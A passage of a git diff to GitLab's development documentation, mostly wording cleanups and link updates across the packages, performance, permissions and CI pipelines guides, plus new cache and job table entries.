+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/new_fe_guide/style/index.md b/doc/development/new_fe_guide/style/index.md
index 284862a2be9..77700441aa3 100644
--- a/doc/development/new_fe_guide/style/index.md
+++ b/doc/development/new_fe_guide/style/index.md
@@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/style/index.md'
---
This document was moved to [another location](../../fe_guide/style/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/new_fe_guide/style/javascript.md b/doc/development/new_fe_guide/style/javascript.md
index 003880c2592..17722d2c41b 100644
--- a/doc/development/new_fe_guide/style/javascript.md
+++ b/doc/development/new_fe_guide/style/javascript.md
@@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/style/javascript.md'
---
This document was moved to [another location](../../fe_guide/style/javascript.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/new_fe_guide/style/prettier.md b/doc/development/new_fe_guide/style/prettier.md
index 9a95aa96dff..6c0f3b77505 100644
--- a/doc/development/new_fe_guide/style/prettier.md
+++ b/doc/development/new_fe_guide/style/prettier.md
@@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/tooling.md#formatting-with-prettier'
---
This document was moved to [another location](../../fe_guide/tooling.md#formatting-with-prettier).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/new_fe_guide/tips.md b/doc/development/new_fe_guide/tips.md
index d7e9c440335..d38e261b99f 100644
--- a/doc/development/new_fe_guide/tips.md
+++ b/doc/development/new_fe_guide/tips.md
@@ -1,7 +1,7 @@
---
stage: none
group: Development
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Tips
diff --git a/doc/development/newlines_styleguide.md b/doc/development/newlines_styleguide.md
index f123482fa5a..57962129b2f 100644
--- a/doc/development/newlines_styleguide.md
+++ b/doc/development/newlines_styleguide.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Newlines style guide
diff --git a/doc/development/omnibus.md b/doc/development/omnibus.md
index 84c395e2e57..5b97221bd29 100644
--- a/doc/development/omnibus.md
+++ b/doc/development/omnibus.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# What you should know about Omnibus packages
diff --git a/doc/development/ordering_table_columns.md b/doc/development/ordering_table_columns.md
index 124f82ac2c8..a0a38acd816 100644
--- a/doc/development/ordering_table_columns.md
+++ b/doc/development/ordering_table_columns.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Ordering Table Columns in PostgreSQL
diff --git a/doc/development/packages.md b/doc/development/packages.md
index de6cac2ce73..689dc6b4141 100644
--- a/doc/development/packages.md
+++ b/doc/development/packages.md
@@ -1,12 +1,12 @@
---
stage: Package
group: Package
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Packages
-This document will guide you through adding another [package management system](../administration/packages/index.md) support to GitLab.
+This document guides you through adding another [package management system](../administration/packages/index.md) support to GitLab.
See already supported package types in [Packages documentation](../administration/packages/index.md)
@@ -56,12 +56,12 @@ Group-level and instance-level endpoints are good to have but are optional.
Packages are scoped within various levels of access, which is generally configured by setting your remote. A
remote endpoint may be set at the project level, meaning when installing packages, only packages belonging to that
-project will be visible. Alternatively, a group-level endpoint may be used to allow visibility to all packages
+project are visible. Alternatively, a group-level endpoint may be used to allow visibility to all packages
within a given group. Lastly, an instance-level endpoint can be used to allow visibility to all packages within an
entire GitLab instance.
-Using group and project level endpoints will allow for more flexibility in package naming, however, more remotes
-will have to be managed. Using instance level endpoints requires [stricter naming conventions](#naming-conventions).
+Using group and project level endpoints allows for more flexibility in package naming, however, more remotes
+have to be managed. Using instance level endpoints requires [stricter naming conventions](#naming-conventions).
The current state of existing package registries availability is:
@@ -76,22 +76,22 @@ The current state of existing package registries availability is:
| Composer | Yes | Yes | No |
| Generic | Yes | No | No |
-NOTE: **Note:**
+NOTE:
NPM is currently a hybrid of the instance level and group level.
It is using the top-level group or namespace as the defining portion of the name
(for example, `@my-group-name/my-package-name`).
-NOTE: **Note:**
+NOTE:
Composer package naming scope is Instance Level.
### Naming conventions
-To avoid name conflict for instance-level endpoints you will need to define a package naming convention
+To avoid name conflict for instance-level endpoints you must define a package naming convention
that gives a way to identify the project that the package belongs to. This generally involves using the project
ID or full project path in the package name. See
[Conan's naming convention](../user/packages/conan_repository/index.md#package-recipe-naming-convention-for-instance-remotes) as an example.
-For group and project-level endpoints, naming can be less constrained and it will be up to the group and project
+For group and project-level endpoints, naming can be less constrained and it is up to the group and project
members to be certain that there is no conflict between two package names. However, the system should prevent
a user from reusing an existing name within a given scope.
@@ -121,7 +121,7 @@ The way new package systems are integrated in GitLab is using an [MVC](https://a
- Pulling a package
- Required actions
-Required actions are all the additional requests that GitLab will need to handle so the corresponding package manager CLI can work properly. It could be a search feature or an endpoint providing meta information about a package. For example:
+Required actions are all the additional requests that GitLab needs to handle so the corresponding package manager CLI can work properly. It could be a search feature or an endpoint providing meta information about a package. For example:
- For NuGet, the search request was implemented during the first MVC iteration, to support Visual Studio.
- For NPM, there is a metadata endpoint used by `npm` to get the tarball URL.
@@ -146,22 +146,22 @@ process.
During this phase, the idea is to collect as much information as possible about the API used by the package system. Here some aspects that can be useful to include:
- **Authentication**: What authentication mechanisms are available (OAuth, Basic
- Authorization, other). Keep in mind that GitLab users will often want to use their
+ Authorization, other). Keep in mind that GitLab users often want to use their
[Personal Access Tokens](../user/profile/personal_access_tokens.md).
Although not needed for the MVC first iteration, the [CI job tokens](../user/project/new_ci_build_permissions_model.md#job-token)
have to be supported at some point in the future.
- **Requests**: Which requests are needed to have a working MVC. Ideally, produce
a list of all the requests needed for the MVC (including required actions). Further
investigation could provide an example for each request with the request and the response bodies.
-- **Upload**: Carefully analyze how the upload process works. This will probably be the most
+- **Upload**: Carefully analyze how the upload process works. This is likely the most
complex request to implement. A detailed analysis is desired here as uploads can be
encoded in different ways (body or multipart) and can even be in a totally different
format (for example, a JSON structure where the package file is a Base64 value of
a particular field). These different encodings lead to slightly different implementations
on GitLab and GitLab Workhorse. For more detailed information, review [file uploads](#file-uploads).
-- **Endpoints**: Suggest a list of endpoint URLs that will be implemented in GitLab.
+- **Endpoints**: Suggest a list of endpoint URLs to implement in GitLab.
- **Split work**: Suggest a list of changes to do to incrementally build the MVC.
- This will give a good idea of how much work there is to be done. Here is an example
+ This gives a good idea of how much work there is to be done. Here is an example
list that would need to be adapted on a case by case basis:
1. Empty file structure (API file, base service for this package)
1. Authentication system for "logging in" to the package manager
@@ -177,7 +177,7 @@ In particular, the upload request can have some [requirements in the GitLab Work
### Implementation
-The implementation of the different Merge Requests will vary between different package system integrations. Contributors should take into account some important aspects of the implementation phase.
+The implementation of the different Merge Requests varies between different package system integrations. Contributors should take into account some important aspects of the implementation phase.
#### Authentication
@@ -217,23 +217,23 @@ If there is package specific behavior for a given package manager, add those met
delegate from the package model.
Note that the existing package UI only displays information within the `packages_packages` and `packages_package_files`
-tables. If the data stored in the metadata tables need to be displayed, a ~frontend change will be required.
+tables. If the data stored in the metadata tables need to be displayed, a ~frontend change is required.
#### File uploads
File uploads should be handled by GitLab Workhorse using object accelerated uploads. What this means is that
-the workhorse proxy that checks all incoming requests to GitLab will intercept the upload request,
+the workhorse proxy that checks all incoming requests to GitLab intercept the upload request,
upload the file, and forward a request to the main GitLab codebase only containing the metadata
and file location rather than the file itself. An overview of this process can be found in the
[development documentation](uploads.md#direct-upload).
-In terms of code, this means a route will need to be added to the
+In terms of code, this means a route must be added to the
[GitLab Workhorse project](https://gitlab.com/gitlab-org/gitlab-workhorse) for each upload endpoint being added
(instance, group, project). [This merge request](https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/412/diffs)
demonstrates adding an instance-level endpoint for Conan to workhorse. You can also see the Maven project level endpoint
implemented in the same file.
-Once the route has been added, you will need to add an additional `/authorize` version of the upload endpoint to your API file.
+Once the route has been added, you must add an additional `/authorize` version of the upload endpoint to your API file.
[Here is an example](https://gitlab.com/gitlab-org/gitlab/blob/398fef1ca26ae2b2c3dc89750f6b20455a1e5507/ee/lib/api/maven_packages.rb#L164)
of the additional endpoint added for Maven. The `/authorize` endpoint verifies and authorizes the request from workhorse,
then the normal upload endpoint is implemented below, consuming the metadata that workhorse provides in order to
@@ -244,7 +244,7 @@ in your local development environment.
### Future Work
-While working on the MVC, contributors will probably find features that are not mandatory for the MVC but can provide a better user experience. It's generally a good idea to keep an eye on those and open issues.
+While working on the MVC, contributors might find features that are not mandatory for the MVC but can provide a better user experience. It's generally a good idea to keep an eye on those and open issues.
Here are some examples
diff --git a/doc/development/performance.md b/doc/development/performance.md
index e20633a05f6..f3ce924de38 100644
--- a/doc/development/performance.md
+++ b/doc/development/performance.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Performance Guidelines
@@ -104,7 +104,7 @@ In short:
- Never make claims based on just benchmarks, always measure in production to
confirm your findings.
- X being N times faster than Y is meaningless if you don't know what impact it
- will actually have on your production environment.
+ has on your production environment.
- A production environment is the _only_ benchmark that always tells the truth
(unless your performance monitoring systems are not set up correctly).
- If you must write a benchmark use the benchmark-ips Gem instead of Ruby's
@@ -119,7 +119,7 @@ allowing you to profile which code is running on CPU in detail.
It's important to note that profiling an application *alters its performance*.
Different profiling strategies have different overheads. Stackprof is a sampling
-profiler. It will sample stack traces from running threads at a configurable
+profiler. It samples stack traces from running threads at a configurable
frequency (e.g. 100hz, that is 100 stacks per second). This type of profiling
has quite a low (albeit non-zero) overhead and is generally considered to be
safe for production.
@@ -241,7 +241,7 @@ BasePolicy#abilities (/Users/lupine/dev/gitlab.com/gitlab-org/gitlab-development
Since the profile includes the work done by the test suite as well as the
application code, these profiles can be used to investigate slow tests as well.
However, for smaller runs (like this example), this means that the cost of
-setting up the test suite will tend to dominate.
+setting up the test suite tends to dominate.
### Production
@@ -256,7 +256,7 @@ The following configuration options can be configured:
- `STACKPROF_MODE`: See [sampling modes](https://github.com/tmm1/stackprof#sampling).
Defaults to `cpu`.
- `STACKPROF_INTERVAL`: Sampling interval. Unit semantics depend on `STACKPROF_MODE`.
- For `object` mode this is a per-event interval (every `n`th event will be sampled)
+ For `object` mode this is a per-event interval (every `n`th event is sampled)
and defaults to `1000`.
For other modes such as `cpu` this is a frequency and defaults to `10000` μs (100hz).
- `STACKPROF_FILE_PREFIX`: File path prefix where profiles are stored. Defaults
@@ -268,8 +268,8 @@ The following configuration options can be configured:
and disk overhead. Defaults to `true`.
Once enabled, profiling can be triggered by sending a `SIGUSR2` signal to the
-Ruby process. The process will begin sampling stacks. Profiling can be stopped
-by sending another `SIGUSR2`. Alternatively, it will automatically stop after
+Ruby process. The process begins sampling stacks. Profiling can be stopped
+by sending another `SIGUSR2`. Alternatively, it stops automatically after
the timeout.
Once profiling stops, the profile is written out to disk at
@@ -282,9 +282,9 @@ Currently supported profiling targets are:
- Puma worker
- Sidekiq
-NOTE: **Note:**
+NOTE:
The Puma master process is not supported. Neither is Unicorn.
-Sending SIGUSR2 to either of those will trigger restarts. In the case of Puma,
+Sending SIGUSR2 to either of those triggers restarts. In the case of Puma,
take care to only send the signal to Puma workers.
This can be done via `pkill -USR2 puma:`. The `:` disambiguates between `puma
@@ -292,7 +292,7 @@ This can be done via `pkill -USR2 puma:`. The `:` disambiguates between `puma
worker processes), selecting the latter.
For Sidekiq, the signal can be sent to the `sidekiq-cluster` process via `pkill
--USR2 bin/sidekiq-cluster`, which will forward the signal to all Sidekiq
+-USR2 bin/sidekiq-cluster`, which forwards the signal to all Sidekiq
children. Alternatively, you can also select a specific pid of interest.
Production profiles can be especially noisy. It can be helpful to visualize them
@@ -305,7 +305,7 @@ bundle exec stackprof --stackcollapse /tmp/stackprof.55769.c6c3906452.profile |
## RSpec profiling
-GitLab's development environment also includes the
+The GitLab development environment also includes the
[rspec_profiling](https://github.com/foraker/rspec_profiling) gem, which is used
to collect data on spec execution times. This is useful for analyzing the
performance of the test suite itself, or seeing how the performance of a spec
@@ -358,7 +358,7 @@ We can use two approaches, often in combination, to track down memory issues:
We can use `memory_profiler` for profiling.
-The [`memory_profiler`](https://github.com/SamSaffron/memory_profiler) gem is already present in GitLab's `Gemfile`,
+The [`memory_profiler`](https://github.com/SamSaffron/memory_profiler) gem is already present in the GitLab `Gemfile`,
you just need to require it:
```ruby
@@ -377,9 +377,9 @@ The report breaks down 2 key concepts:
- Retained: long lived memory use and object count retained due to the execution of the code block.
- Allocated: all object allocation and memory allocation during code block.
-As a general rule, **retained** will always be smaller than or equal to allocated.
+As a general rule, **retained** is always smaller than or equal to **allocated**.
-The actual RSS cost will always be slightly higher as MRI heaps are not squashed to size and memory fragments.
+The actual RSS cost is always slightly higher as MRI heaps are not squashed to size and memory fragments.
### Rbtrace
@@ -444,11 +444,11 @@ Slow operations, like merging branches, or operations that are prone to errors
directly in a web request as much as possible. This has numerous benefits such
as:
-1. An error won't prevent the request from completing.
-1. The process being slow won't affect the loading time of a page.
-1. In case of a failure it's easy to re-try the process (Sidekiq takes care of
+1. An error doesn't prevent the request from completing.
+1. The process being slow doesn't affect the loading time of a page.
+1. In case of a failure you can retry the process (Sidekiq takes care of
this automatically).
-1. By isolating the code from a web request it will hopefully be easier to test
+1. By isolating the code from a web request it should be easier to test
and maintain.
It's especially important to use Sidekiq as much as possible when dealing with
@@ -480,7 +480,7 @@ end
## Caching
-Operations that will often return the same result should be cached using Redis,
+Operations that often return the same result should be cached using Redis,
in particular Git operations. When caching data in Redis, make sure the cache is
flushed whenever needed. For example, a cache for the list of tags should be
flushed whenever a new tag is pushed or a tag is removed.
@@ -494,7 +494,7 @@ the Repository class instead of leaking into other classes.
When caching data, make sure to also memoize the result in an instance variable.
While retrieving data from Redis is much faster than raw Git operations, it still
has overhead. By caching the result in an instance variable, repeated calls to
-the same method won't end up retrieving data from Redis upon every call. When
+the same method don't retrieve data from Redis upon every call. When
memoizing cached data in an instance variable, make sure to also reset the
instance variable when flushing the cache. An example:
@@ -512,7 +512,7 @@ end
## String Freezing
In recent Ruby versions calling `freeze` on a String leads to it being allocated
-only once and re-used. For example, on Ruby 2.3 or later this will only allocate the
+only once and re-used. For example, on Ruby 2.3 or later this only allocates the
"foo" String once:
```ruby
@@ -523,10 +523,10 @@ end
Depending on the size of the String and how frequently it would be allocated
(before the `.freeze` call was added), this _may_ make things faster, but
-there's no guarantee it will.
+this isn't guaranteed.
-Strings will be frozen by default in Ruby 3.0. To prepare our code base for
-this eventuality, we will be adding the following header to all Ruby files:
+Strings are frozen by default in Ruby 3.0. To prepare our codebase for
+this eventuality, we are adding the following header to all Ruby files:
```ruby
# frozen_string_literal: true
@@ -549,8 +549,8 @@ Ruby offers several convenience functions that deal with file contents specifica
or I/O streams in general. Functions such as `IO.read` and `IO.readlines` make
it easy to read data into memory, but they can be inefficient when the
data grows large. Because these functions read the entire contents of a data
-source into memory, memory use will grow by _at least_ the size of the data source.
-In the case of `readlines`, it will grow even further, due to extra bookkeeping
+source into memory, memory use grows by _at least_ the size of the data source.
+In the case of `readlines`, it grows even further, due to extra bookkeeping
the Ruby VM has to perform to represent each line.
Consider the following program, which reads a text file that is 750MB on disk:
@@ -588,12 +588,12 @@ which is roughly two orders of magnitude more compared to reading the file line
line instead. It was not just the raw memory usage that increased, but also how the garbage collector (GC)
responded to this change in anticipation of future memory use. We can see that `malloc_increase_bytes` jumped
to ~30MB, which compares to just ~4kB for a "fresh" Ruby program. This figure specifies how
-much additional heap space the Ruby GC will claim from the operating system next time it runs out of memory.
+much additional heap space the Ruby GC claims from the operating system next time it runs out of memory.
Not only did we occupy more memory, we also changed the behavior of the application
to increase memory use at a faster rate.
-The `IO.read` function exhibits similar behavior, with the difference that no extra memory will
-be allocated for each line object.
+The `IO.read` function exhibits similar behavior, with the difference that no extra memory is
+allocated for each line object.
### Recommendations
@@ -630,7 +630,7 @@ production environments.
### Moving Allocations to Constants
Storing an object as a constant so you only allocate it once _may_ improve
-performance, but there's no guarantee this will. Looking up constants has an
+performance, but this is not guaranteed. Looking up constants has an
impact on runtime performance, and as such, using a constant instead of
referencing an object directly may even slow code down. For example:
diff --git a/doc/development/permissions.md b/doc/development/permissions.md
index 859c838280e..35f0941b756 100644
--- a/doc/development/permissions.md
+++ b/doc/development/permissions.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab permissions guide
@@ -26,7 +26,7 @@ The visibility level of a group can be changed only if all subgroups and
sub-projects have the same or lower visibility level. For example, a group can be set
to internal only if all subgroups and projects are internal or private.
-CAUTION: **Warning:**
+WARNING:
If you migrate an existing group to a lower visibility level, that action does not migrate subgroups
in the same way. This is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/22406).
@@ -70,9 +70,9 @@ can still view the groups and their entities (like epics).
Project membership (where the group membership is already taken into account)
is stored in the `project_authorizations` table.
-CAUTION: **Caution:**
+WARNING:
Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219299),
-projects in personal namespace will not show owner (`50`) permission in
+projects in personal namespace do not show owner (`50`) permission in
`project_authorizations` table. Note however that [`user.owned_projects`](https://gitlab.com/gitlab-org/gitlab/blob/0d63823b122b11abd2492bca47cc26858eee713d/app/models/user.rb#L906-916)
is calculated properly.
@@ -98,7 +98,7 @@ In the case of a complex resource, it should be broken into smaller pieces of in
and each piece should be granted a different permission.
A good example in this case is the _Merge Request widget_ and the _Security reports_.
-Depending on the visibility level of the _Pipelines_, the _Security reports_ will be either visible
+Depending on the visibility level of the _Pipelines_, the _Security reports_ are either visible
in the widget or not. So, the _Merge Request widget_, the _Pipelines_, and the _Security reports_,
have separate permissions. Moreover, the permissions for the _Merge Request widget_
and the _Pipelines_ are dependencies of the _Security reports_.
diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md
index a8ef5701d50..3243c7ec753 100644
--- a/doc/development/pipelines.md
+++ b/doc/development/pipelines.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Pipelines for the GitLab project
@@ -412,7 +412,7 @@ Merge Request. This prevents `rspec fail-fast` duration from exceeding the avera
This number can be overridden by setting a CI variable named `RSPEC_FAIL_FAST_TEST_FILE_COUNT_THRESHOLD`.
-NOTE: **Note:**
+NOTE:
This experiment is only enabled when the CI variable `RSPEC_FAIL_FAST_ENABLED=true` is set.
#### Determining related test files in a Merge Request
@@ -435,7 +435,7 @@ We are using a custom mapping between source file to test files, maintained in t
We follow the [PostgreSQL versions shipped with Omnibus GitLab](https://docs.gitlab.com/omnibus/package-information/postgresql_versions.html):
-| PostgreSQL version | 13.0 (May 2020) | 13.1 (June 2020) | 13.2 (July 2020) | 13.3 (August 2020) | 13.4, 13.5 | 13.6 (November 2020) | 14.0 (May 2021?) |
+| PostgreSQL version | 13.0 (May 2020) | 13.1 (June 2020) | 13.2 (July 2020) | 13.3 (August 2020) | 13.4, 13.5 | [13.7 (December 2020)](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5722) | 14.0 (May 2021?) |
| ------ | --------------- | ---------------- | ---------------- | ------------------ | ------------ | -------------------- | ---------------- |
| PG11 | MRs/`master`/`2-hour`/`nightly` | MRs/`master`/`2-hour`/`nightly` | MRs/`master`/`2-hour`/`nightly` | MRs/`master`/`2-hour`/`nightly` | MRs/`master`/`2-hour`/`nightly` | `nightly` | - |
| PG12 | - | - | `nightly` | `2-hour`/`nightly` | `2-hour`/`nightly` | MRs/`2-hour`/`nightly` | `2-hour`/`nightly` |
@@ -457,7 +457,7 @@ Consult the [Review Apps](testing_guide/review_apps.md) dedicated page for more
### As-if-FOSS jobs
-The `* as-if-foss` jobs allows to run GitLab's test suite "as-if-FOSS", meaning as if the jobs would run in the context
+The `* as-if-foss` jobs allows the GitLab test suite "as-if-FOSS", meaning as if the jobs would run in the context
of the `gitlab-org/gitlab-foss` project. These jobs are only created in the following cases:
- `gitlab-org/security/gitlab` merge requests.
@@ -467,7 +467,7 @@ of the `gitlab-org/gitlab-foss` project. These jobs are only created in the foll
The `* as-if-foss` jobs are run in addition to the regular EE-context jobs. They have the `FOSS_ONLY='1'` variable
set and get their EE-specific folders removed before the tests start running.
-The intent is to ensure that a change won't introduce a failure once the `gitlab-org/gitlab` project will be synced to
+The intent is to ensure that a change doesn't introduce a failure after the `gitlab-org/gitlab` project is synced to
the `gitlab-org/gitlab-foss` project.
## Performance
@@ -485,22 +485,24 @@ request, be sure to start the `dont-interrupt-me` job before pushing.
1. All jobs must only pull caches by default.
1. All jobs must be able to pass with an empty cache. In other words, caches are only there to speed up jobs.
-1. We currently have 6 different caches defined in
+1. We currently have several different caches defined in
[`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml),
with fixed keys:
- `.rails-cache`.
- `.static-analysis-cache`.
+ - `.coverage-cache`
- `.qa-cache`
- `.yarn-cache`.
- `.assets-compile-cache` (the key includes `${NODE_ENV}` so it's actually two different caches).
1. Only 6 specific jobs, running in 2-hourly scheduled pipelines, are pushing (i.e. updating) to the caches:
- `update-rails-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
- `update-static-analysis-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
+ - `update-coverage-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml).
- `update-qa-cache`, defined in [`.gitlab/ci/qa.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/qa.gitlab-ci.yml).
- `update-assets-compile-production-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
- `update-assets-compile-test-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
- `update-yarn-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml).
-1. These jobs will run in merge requests whose title include `UPDATE CACHE`.
+1. These jobs run in merge requests whose title include `UPDATE CACHE`.
### Pre-clone step
@@ -519,7 +521,7 @@ variable:
```shell
echo "Downloading archived master..."
-wget -O /tmp/gitlab.tar.gz https://storage.googleapis.com/gitlab-ci-git-repo-cache/project-278964/gitlab-master.tar.gz
+wget -O /tmp/gitlab.tar.gz https://storage.googleapis.com/gitlab-ci-git-repo-cache/project-278964/gitlab-master-shallow.tar.gz
if [ ! -f /tmp/gitlab.tar.gz ]; then
echo "Repository cache not available, cloning a new directory..."
@@ -544,8 +546,7 @@ on a scheduled pipeline, it does the following:
1. Saves the data as a `.tar.gz`.
1. Uploads it into the Google Cloud Storage bucket.
-When a CI job runs with this configuration, you'll see something like
-this:
+When a CI job runs with this configuration, the output looks something like this:
```shell
$ eval "$CI_PRE_CLONE_SCRIPT"
@@ -566,7 +567,7 @@ GitLab Team Member, find credentials in the
[GitLab shared 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams).
Note that this bucket should be located in the same continent as the
-runner, or [network egress charges will apply](https://cloud.google.com/storage/pricing).
+runner, or [you can incur network egress charges](https://cloud.google.com/storage/pricing).
## CI configuration internals
@@ -628,17 +629,21 @@ that are scoped to a single [configuration keyword](../ci/yaml/README.md#job-key
| Job definitions | Description |
|------------------|-------------|
-| `.default-tags` | Ensures a job has the `gitlab-org` tag to ensure it's using our dedicated runners. |
| `.default-retry` | Allows a job to [retry](../ci/yaml/README.md#retry) upon `unknown_failure`, `api_failure`, `runner_system_failure`, `job_execution_timeout`, or `stuck_or_timeout_failure`. |
| `.default-before_script` | Allows a job to use a default `before_script` definition suitable for Ruby/Rails tasks that may need a database running (e.g. tests). |
| `.rails-cache` | Allows a job to use a default `cache` definition suitable for Ruby/Rails tasks. |
| `.static-analysis-cache` | Allows a job to use a default `cache` definition suitable for static analysis tasks. |
+| `.coverage-cache` | Allows a job to use a default `cache` definition suitable for coverage tasks. |
+| `.qa-cache` | Allows a job to use a default `cache` definition suitable for QA tasks. |
| `.yarn-cache` | Allows a job to use a default `cache` definition suitable for frontend jobs that do a `yarn install`. |
| `.assets-compile-cache` | Allows a job to use a default `cache` definition suitable for frontend jobs that compile assets. |
| `.use-pg11` | Allows a job to use the `postgres:11.6` and `redis:4.0-alpine` services. |
-| `.use-pg11-ee` | Same as `.use-pg11` but also use the `docker.elastic.co/elasticsearch/elasticsearch:6.4.2` services. |
+| `.use-pg11-ee` | Same as `.use-pg11` but also use the `docker.elastic.co/elasticsearch/elasticsearch:7.9.2` services. |
+| `.use-pg12` | Allows a job to use the `postgres:12` and `redis:4.0-alpine` services. |
+| `.use-pg12-ee` | Same as `.use-pg12` but also use the `docker.elastic.co/elasticsearch/elasticsearch:7.9.2` services. |
| `.use-kaniko` | Allows a job to use the `kaniko` tool to build Docker images. |
| `.as-if-foss` | Simulate the FOSS project by setting the `FOSS_ONLY='1'` environment variable. |
+| `.use-docker-in-docker` | Allows a job to use Docker in Docker. |
### `rules`, `if:` conditions and `changes:` patterns
@@ -655,33 +660,55 @@ and included in `rules` definitions via [YAML anchors](../ci/yaml/README.md#anch
#### `if:` conditions
+<!-- vale gitlab.Substitutions = NO -->
+
| `if:` conditions | Description | Notes |
|------------------|-------------|-------|
-| `if-not-canonical-namespace` | Matches if the project isn't in the canonical (`gitlab-org/`) or security (`gitlab-org/security`) namespace. | Use to create a job for forks (by using `when: on_success\|manual`), or **not** create a job for forks (by using `when: never`). |
+| `if-not-canonical-namespace` | Matches if the project isn't in the canonical (`gitlab-org/`) or security (`gitlab-org/security`) namespace. | Use to create a job for forks (by using `when: on_success|manual`), or **not** create a job for forks (by using `when: never`). |
| `if-not-ee` | Matches if the project isn't EE (i.e. project name isn't `gitlab` or `gitlab-ee`). | Use to create a job only in the FOSS project (by using `when: on_success|manual`), or **not** create a job if the project is EE (by using `when: never`). |
| `if-not-foss` | Matches if the project isn't FOSS (i.e. project name isn't `gitlab-foss`, `gitlab-ce`, or `gitlabhq`). | Use to create a job only in the EE project (by using `when: on_success|manual`), or **not** create a job if the project is FOSS (by using `when: never`). |
-| `if-default-refs` | Matches if the pipeline is for `master`, `/^[\d-]+-stable(-ee)?$/` (stable branches), `/^\d+-\d+-auto-deploy-\d+$/` (auto-deploy branches), `/^security\//` (security branches), merge requests, and tags. | Note that jobs won't be created for branches with this default configuration. |
+| `if-default-refs` | Matches if the pipeline is for `master`, `/^[\d-]+-stable(-ee)?$/` (stable branches), `/^\d+-\d+-auto-deploy-\d+$/` (auto-deploy branches), `/^security\//` (security branches), merge requests, and tags. | Note that jobs aren't created for branches with this default configuration. |
| `if-master-refs` | Matches if the current branch is `master`. | |
+| `if-master-push` | Matches if the current branch is `master` and pipeline source is `push`. | |
+| `if-master-schedule-2-hourly` | Matches if the current branch is `master` and pipeline runs on a 2-hourly schedule. | |
+| `if-master-schedule-2-nightly` | Matches if the current branch is `master` and pipeline runs on a nightly schedule. | |
+| `if-auto-deploy-branches` | Matches if the current branch is an auto-deploy one. | |
